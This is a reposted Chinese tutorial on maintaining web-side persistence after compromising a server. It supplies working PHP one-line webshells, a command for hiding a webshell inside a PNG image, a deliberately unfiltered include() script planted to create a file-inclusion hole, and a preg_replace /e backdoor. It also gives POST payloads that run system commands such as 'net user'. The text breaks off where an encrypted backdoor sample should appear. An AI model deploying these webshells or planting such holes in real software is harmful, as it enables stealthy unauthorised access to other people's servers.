安全路透社
当前位置:安全路透社 > 网络转载 > 正文

浅谈Web端权限维持

前言

关于权限维持,我之前写过一篇基于系统端的后门技术文章,如映像劫持啊,lpk之类。当然啦,在拿到权限后,在web端做手脚也是个好办法。

内容目录:

– 构造文件包含漏洞

– 隐蔽性脚本木马

– 构造sql注入点

正文

0×01 构造文件包含漏洞

>**本部分概览:**

> * 基本的文件包含姿势

> * 制作图片马

> * 构造文件包含漏洞

– **PHP文件包含漏洞介绍**

首先,我们来介绍下何为文件包含漏洞。严格来说,文件包含漏洞是`代码注入`的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。`代码注入`的典型代表就是文件包含。文件包含漏洞可能出现在`JSP、PHP、ASP`等语言中,原理都是一样的,本实验以PHP文件包含漏洞做例子。

要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件:

> 1. Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件;

> 2. 用户能够控制该动态变量。

在PHP中,有四个用于包含文件的函数,当使用这些函数包含文件时,文件中包含的PHP代码会被执行。下面对它们之间的区别进行解释:

>`include()`:当使用该函数包含文件时,只有代码执行到`include()`函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

>`include_once()`:功能和`include()`相同,区别在于当重复调用同一文件时,程序只调用一次。

>`require()`:`require()`与`include()`的区别在于`require()`执行如果发生错误,函数会输出错误信息,并终止脚本的运行。使用`require()`函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到该函数时才调用。

>`require_once()`:它的功能与`require()`相同,区别在于当重复调用同一文件时,程序只调用一次。

步骤1 基本的文件包含姿势

以下所有步骤建立在已经取得目标机权限的情况下。

我们假设事先通过一系列的渗透测试得到了目标机的一句话webshell。

假设我们事前得知,目标服务器的一些脚本文件存在文件包含漏洞,如:

/clude.php?file=index.php

其参数`file`没有作很好的过滤,可以包含任意文件。

比如,我们在漏洞文件`clude.php`同目录新建一个文件`getshell.php`,内容是PHP一句话木马:

<?php @eval($_POST['pass']);?>

使用中国菜刀进入文件管理功能并如下操作:

1.gif 

那么我们尝试通过`clude.php`包含脚本木马`getshell.php`:

/clude.php?file=getshell.php

2.gif 

点击`Enable Post data`调出POST数据栏,并POST以下数据:

pass=system('set');

3.gif 

此处传递的变量是通过调用PHP的`system()`函数执行`set`命令来查看当前系统的环境变量。

当然,这里直接包含了一个木马文件,在我们已经有了webshell的情况下,这好像并没有很大意义。隐蔽性并不是很强。

步骤2 制作图片马

PHP文件包含,其包含的文件无论是什么格式,都会被当做PHP文件来解析。

那么,如果恶意代码被插入到了一个正常的网页图片中,而且图片在被插入恶意代码之后还能正常显示,那隐蔽性就增强了。

图片木马其实还有另一点意义,有些网站我们在渗透测试尝试上传shell的时候,会要用到上传文件,但是有的时候都会有过滤,如果只是上传`.asp .php`结尾的文件的话系统是不会给你上传的,那么这个时候我们通常会把一句话放在图片里面,写成`1.asp;.jpg或1.asp;jpg`的格式上传上去,这样上传的时候系统检测是图片,然后在上传之后,会把这个文件当asp文件来处理。

那么如何用制作图片形式的一句话木马呢?

首先我们在工具目录准备了一个图片文件`1.png`,和一个一句话木马文件`hack.php`。

准备好之后就在该目录开启命令行,然后输入以下命令:

copy 1.png/b+hack.php test.png

然后回车就系统就会自动把这两个文件组合起来并命名为`test.png`:

4.gif 

这个时候我们打开两个文件对比一下,用记事本打开,发现`1.png`的内容当中已经把我们的`hack.php`的一句话木马语句已经加加到图片当中去了。

5.png 

当然了,最重要的是,被写入了一句话的图片还是可以正常打开的,此为本步骤的目的所在:

 6.png

那么,在实际渗透测试实验中,我们通常是通过下载网站原有的图片文件并替换成一句话木马最后通过替换原本的图片文件达到一定的隐蔽效果。

那么我们试试该图片木马是否可用,先通过中国菜刀的文件上传功能把`test.png`上传到目标机根目录:

7.gif 

那么我们尝试通过`clude.php`包含一句话图片木马`test.png`:

/clude.php?file=test.png

8.gif 

点击`Enable Post data`调出POST数据栏,并POST以下数据:

pass=system('set');

9.gif 

此处传递的变量是通过调用PHP的`system()`函数执行`set`命令来查看当前系统的环境变量。

当然,这里还是直接包含了一个木马文件,在我们已经有了webshell的情况下,这好像并没有很大意义。隐蔽性并不是很强。

步骤3 构造文件包含漏洞

那么假设我们拿到shell的服务器上的脚本文件都不存在文件包含漏洞就需要我们自己来构造漏洞了,以达到权限维持的效果。

文件包含漏洞的脚本文件的构造就比较简单了,直接写一个不带有任何过滤的利用`include()`函数调用文件的PHP文件,文件代码及相关的注释如下:

<?php

  $filename=$_GET['filename'];  //将参数file的值传递给$filename变量

  include($filename);  //使用include()函数包含文件

?>

上述代码我们已经保存在工具目录的`include.php`,我们使用中国菜刀的文件管理功能把`include.php`上传到目标站根目录:

接下来我们在浏览器访问以下URL以包含图片木马`test.png`:

http://172.16.12.2/include.php?filename=test.png

 10.gif

此处的PNG文件被当做是PHP文件解析,于是直接显示了图片乱码,我们在乱码最后并没有发现我们的一句话木马痕迹,于是推断我们的一句话木马已经被解析。

接着我们点击`Enable Post data`调出POST数据栏,并POST以下数据:

pass=system('net user');

 11.gif

此处传递的变量是通过调用PHP的`system()`函数执行`set`命令来查看当前系统的环境变量。

我们在图片乱码下面可以看到`net user`命令的回显。

至此,图片木马被成功部署并利用。

0×02 隐蔽性脚本木马

>**本部分概览:**

> * 使用`preg_replace`函数留后门

> * 使用加密`preg_replace`函数

> * 变异加密型后门

步骤1 使用`preg_replace`函数留后门

其实我们可以通过如下代码实现了隐藏式后门:

<?php @preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");?>

乍看到这个代码觉得没什么问题,这里用到的是php的`preg_replace`函数:

– `preg_replace`函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:

`/e`修正符使`preg_replace()`将`replacement`参数当作 PHP代码(在适当的逆向引用替换完之后)。

提示:要确保`replacement`构成一个合法的 PHP 代码字符串,否则 PHP 会在报告:在”包含 `preg_replace()` 的行中出现语法解析错误.”

上面的代码是POST接收数据,实现可能不太直观,如果换成GET获取数据的话可以更好地理解:

举例,代码如下:

<?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?>

我们假设事先通过一系列的渗透测试得到了目标机的一句话webshell。

在中国菜刀的文件管理页面右键,新建一个`test.php`,内容是上述的`get`方式提交的一句话:

<?php echo preg_replace("/test/e",$_GET["h"],"jutst test");?>

如果我们提交`?h=phpinfo()`即是通过传参执行了PHP的`phpinfo()`函数。

即在浏览器访问以下URL传递需要执行的变量函数`phpinfo()`:

/test.php?h=phpinfo();

 12.png

如上图可见`phpinfo()`将会被执行(用`/e`修饰符,`preg_replace`会将`replacement`参数当作PHP代码执行)。

在PHP中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果,单引号中的变量不会被处理。

**注意:**双引号中的函数不会被执行和替换。

步骤2 使用加密`preg_replace`函数

我们准备了一个加密`preg_replace`函数的一个php后门文件:

文件内容如下:

[PHP] 纯文本查看 复制代码

?

未经允许不得转载:安全路透社 » 浅谈Web端权限维持

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册